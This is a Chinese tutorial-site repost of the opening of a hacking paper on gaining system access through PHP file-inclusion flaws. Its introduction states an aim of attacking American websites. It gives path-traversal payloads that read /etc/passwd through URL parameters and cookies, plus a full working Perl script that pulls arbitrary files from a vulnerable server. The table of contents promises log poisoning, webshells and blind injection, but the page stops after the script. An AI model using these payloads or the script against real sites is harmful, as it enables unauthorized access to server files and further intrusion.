网站地图    收藏   

主页 > 后端 > 网站安全 >

php漏洞获取权限介绍 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] |=----------[web 漏洞有机会获取系统权限]--------------=|[目录1 介绍2 本地和远程文件包含(LFI/RFI)2.1 介绍2.2 远程执行命令2.2.1 注入php代码插入apache日志2.2.2 注入ph......

 

|=----------[web 漏洞有机会获取系统权限]--------------=|

 

——[目录

1 — 介绍

2 — 本地和远程文件包含(LFI/RFI)

2.1 — 介绍

2.2 — 远程执行命令

2.2.1— 注入php代码插入apache日志

2.2.2— 注入php代码插入进程表

2.2.3— 注入php代码插入一个图片

2.2.4— 注入php代码插入session文件

2.2.5— 注入php代码插入其他文件

2.3 — 获得一个webshell

2.4 — 远程文件包含

3 — 盲注入

3.1 — 简介

3.2 — 载入本地文件

3.3 — 暴力获得数据

3.4 — 远程执行命令

3.5 — 获得一个webshell

 

4 — 参考

--------------------------------------------------------------------------------------------------------

———[1 — 介绍

 

在美国很多网站都是容易被攻击的,大部分都是很久的代码并且已经有很多漏洞。我们能利用LFI,RFI,SQL,XSS,SSI,ICH等等一些攻击方式来入侵他们。用这些方式我们将会集中攻击这些美国网站去获得系统权限和远程执行命令。

 

这将是很无聊的论文关于一些漏洞类型,只是让你知道,我会尽力为一些新鲜的事情做贡献,并记录一些漏洞的基本概念。

 

———[2 — 本地和远程文件包含(LFI/RFI)

 

————[2.1 — 介绍

 

这种类型攻击是众所周知的,而且基本上是因为在编写php网页的时候利用require,require_once,include或者include_once命令去调用另一个网页,而变量没有进行初始化导致的。例子:

require($file);

require("includes/".$file);

require("languages/".$lang.".php");

require("themes/".$tema."/config.php");

这种漏洞的利用方式已经众所周知了,我没必要去详细讲解,我只举一些例子。例如:

 

包含类型:

require($file);

利用方法:

http://host/?file=/etc/passwd

包含类型:

require("includes/".$file);

利用方法:

http://host/?file=../../../../../etc/passwd

包含类型:

require("languages/".$lang.".php");

require("themes/".$theme."/config.php");

利用方法:

http://host/?file=../../../../../etc/passwd%00

包含类型:

require("languages/".$_COOKIE['lang'].".php

利用方法:

javascript:document.cookie = "lan=../../../../../etc/passwd%00";

 

一个pl脚本可以通过get或post来利用这种漏洞类型进行入侵。

 

lfi.pl

#! /usr/bin/perl

 

# perl script to exploit LFI based in GET and POST requests

# Example:http://site.com/index.php?var=

# URL:http://site.com/index.php

# Variable: var

# Method: POST

#

# by Pepelux (pepelux[at]enye-sec[dot]org)

 

use LWP::UserAgent;

$ua = LWP::UserAgent->new;

 

my ($host, $var, $method) = @ARGV ;

 

unless($ARGV[2]) {

print "Usage: perl $0 <url> <vulnerable_var> <method>\n";

print "\tex: perl $0http://site.com/index.php var GET\n";

print "\tex: perl $0http://site.com/index.php var POST\n\n";

exit 1;

}

 

$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");

$ua->timeout(10);

$host = "http://".$host if ($host !~ /^http:/);

 

while () {

print "file to edit: ";

chomp($file=<STDIN>);

 

if ($method =~ /GET/) {

$url = $host."?".$var."=../../../../..".$file."%00";

$req = HTTP::Request->new(GET => $url);

$req->header('Accept' => 'text/html');

}

else {

$req = HTTP::Request->new(POST => $host);

$req->content_type('application/x-www-form-urlencoded');

$req->content($var."=../../../../".$file."%00");

}

 

$res = $ua->request($req);

 

if ($res->is_success) {

$result = $res->content;

print $result;

}

else { print "Error\n"; }

 

}

 

from:Tattoo blog

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论